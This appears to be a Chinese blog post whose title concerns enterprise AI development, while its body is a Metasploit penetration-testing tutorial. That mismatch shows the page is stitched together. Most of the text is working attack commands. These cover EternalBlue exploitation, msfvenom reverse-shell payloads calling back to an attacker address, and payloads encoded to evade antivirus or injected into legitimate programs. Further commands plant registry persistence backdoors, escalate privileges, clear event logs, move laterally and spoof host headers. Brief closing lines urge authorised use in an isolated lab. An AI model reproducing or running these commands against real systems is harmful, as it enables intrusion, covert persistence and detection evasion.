企业AI开发避坑指南:从立项到落地的五个关键问题
2026/8/2 11:10:04
Metasploit Framework是一款开源渗透测试框架,相当于白帽子的“瑞士军刀”。它提供了完整的漏洞研究、开发和利用生态系统,让你能够:
┌─────────────────────────────────────┐ │ MSF生态系统架构 │ ├─────────────────────────────────────┤ │ 1. 模块库 (Modules) │ │ ├── 漏洞利用模块 (Exploits) │ │ ├── 载荷模块 (Payloads) │ │ ├── 辅助模块 (Auxiliary) │ │ └── 后渗透模块 (Post) │ │ │ │ 2. 工具集 (Tools) │ │ ├── msfvenom (载荷生成) │ │ ├── pattern_create (偏移计算) │ │ └── msfdb (数据库管理) │ │ │ │ 3. 接口层 (Interfaces) │ │ ├── msfconsole (主控制台) │ │ ├── Armitage (图形界面) │ │ └── msfrpc (API接口) │ └─────────────────────────────────────┘# 启动PostgreSQL数据库sudosystemctl start postgresql# 初始化MSF数据库msfdb init# 启动MSF控制台msfconsole# 查看数据库连接状态msfdb_status1. 信息收集 → 2. 漏洞识别 → 3. 漏洞利用 → 4. 权限提升 → 5. 后渗透 → 6. 痕迹清理# 精确搜索模块search name:smb type:exploit platform:windows# 按CVE编号搜索search cve:2021-44228# 查看模块详细信息info exploit/windows/smb/ms17_010_eternalblue# 使用模块use exploit/windows/smb/ms17_010_eternalblue# 显示模块配置选项show options# 设置必要参数setRHOSTS192.168.1.100setLHOST192.168.1.50# 执行漏洞利用exploit| 类型 | 特点 | 适用场景 |
|---|---|---|
| 反向Shell | 目标主动连接攻击者 | 穿透NAT/防火墙 |
| 绑定Shell | 攻击者连接目标端口 | 内网环境 |
| Meterpreter | 高级内存驻留载荷 | 长期控制 |
| Stage Payload | 分阶段传输 | 规避检测 |
| Stageless | 完整单文件载荷 | 简单快速 |
# 生成Windows反向Meterpretermsfvenom -p windows/meterpreter/reverse_tcp\LHOST=192.168.1.50LPORT=4444\-f exe -o shell.exe# 生成Linux载荷msfvenom -p linux/x64/meterpreter/reverse_tcp\LHOST=192.168.1.50LPORT=4444\-f elf -o backdoor.elf# 生成免杀载荷(编码处理)msfvenom -p windows/meterpreter/reverse_tcp\LHOST=192.168.1.50LPORT=4444\-e x86/shikata_ga_nai -i5\-f exe -o encoded_shell.exe# 嵌入载荷到正常程序msfvenom -p windows/meterpreter/reverse_tcp\LHOST=192.168.1.50LPORT=4444\-x legit_program.exe -f exe\-o infected.exe# 系统信息收集sysinfo getuid# 文件系统操作lscd/path download file.txt upload backdoor.exe# 进程管理psmigrate<PID># 进程迁移kill<PID># 网络信息ipconfig route portfwdadd-L127.0.0.1 -l3389-p3389-r TARGET_IP# 自动提权getsystem# 手动提权尝试use post/windows/escalate/bypassuac runsession=1# 持久化后门run persistence -X -i30-p443-r192.168.1.50# 注册表后门reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\-v Backdoor -d"C:\\backdoor.exe"# 端口扫描use auxiliary/scanner/portscan/tcpsetRHOSTS192.168.1.0/24setPORTS1-1000 run# SMB服务识别use auxiliary/scanner/smb/smb_versionsetRHOSTS192.168.1.100 run# HTTP漏洞扫描use auxiliary/scanner/http/dir_scannersetRHOSTS192.168.1.100setTHREADS20run# SMB漏洞扫描use auxiliary/scanner/smb/smb_ms17_010setRHOSTS192.168.1.0/24 run# SSH弱密码检测use auxiliary/scanner/ssh/ssh_loginsetRHOSTS192.168.1.100setUSERPASS_FILE /path/to/wordlist.txt run# 使用编码器msfvenom -p windows/meterpreter/reverse_tcp\LHOST=192.168.1.50LPORT=4444\-e x86/shikata_ga_nai -i10\-f raw|msfvenom -a x86 --platform windows\-e x86/alpha_upper -i5-f exe -o payload.exe# 自定义模板注入msfvenom -p windows/meterpreter/reverse_tcp\LHOST=192.168.1.50LPORT=4444\-x /usr/share/windows-binaries/plink.exe\-k -f exe -o backdoor.exe# 使用反沙箱技术use evasion/windows/applocker_evasion_install_utilsetFILENAME legit.exesetPAYLOAD windows/meterpreter/reverse_tcpsetLHOST192.168.1.50setLPORT4444run# 使用SSL/TLS加密use payload/windows/meterpreter/reverse_httpssetLHOST192.168.1.50setLPORT443# 流量编码use post/windows/manage/payload_injectsetSESSION1setPAYLOAD windows/meterpreter/reverse_tcpsetLHOST192.168.1.50setEnableStageEncodingtruesetStageEncoder x86/shikata_ga_nai# auto_pentest.rc 自动化脚本示例workspace-aClient_Pentestdb_nmap-sS-A192.168.1.0/24use auxiliary/scanner/portscan/tcp setRHOSTS192.168.1.0/24setPORTS1-1000setTHREADS50run use exploit/windows/smb/ms17_010_eternalblue setRHOSTS192.168.1.100-200setLHOST192.168.1.50exploit-j# 从MSF导出会话到Cobalt Strikeuse exploit/multi/handlersetPAYLOAD windows/meterpreter/reverse_httpsetLHOST192.168.1.50setLPORT80setHttpHostHeader api.microsoft.com exploit -j# 使用隔离的测试环境┌─────────────────────────────────┐ │ 推荐测试拓扑 │ ├─────────────────────────────────┤ │ 攻击机(Kali Linux)│ │ │ │ │ ├── 虚拟机网络 │ │ │ │ │ │ │ └── 靶机系统 │ │ │ │ │ └── VPN隔离环境 │ │ │ │ │ └── 授权测试目标 │ └─────────────────────────────────┘# 清理Meterpreter会话clearev# 清除事件日志reg deleteval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v Backdoor# 移除持久化rmC:\\Windows\\Temp\\backdoor.exe# 步骤1:信息收集db_nmap -sS -sV -O10.0.1.0/24# 步骤2:漏洞识别use auxiliary/scanner/smb/smb_ms17_010setRHOSTS10.0.1.0/24 run# 步骤3:获取初始访问use exploit/windows/smb/ms17_010_eternalbluesetRHOST10.0.1.50setPAYLOAD windows/x64/meterpreter/reverse_tcpsetLHOST10.0.1.100 exploit# 步骤4:横向移动run post/windows/manage/psexecRHOST=10.0.1.51作为白帽子,MSF不仅是你的技术工具,更是理解攻击者思维、构建有效防御体系的窗口。记住:
通过合理、合法、合规地使用MSF,你将成为企业安全防护体系中不可或缺的力量。技术是中立的,关键在于使用者的意图和方式。保持白帽子的初心,用你的技术让网络世界更安全。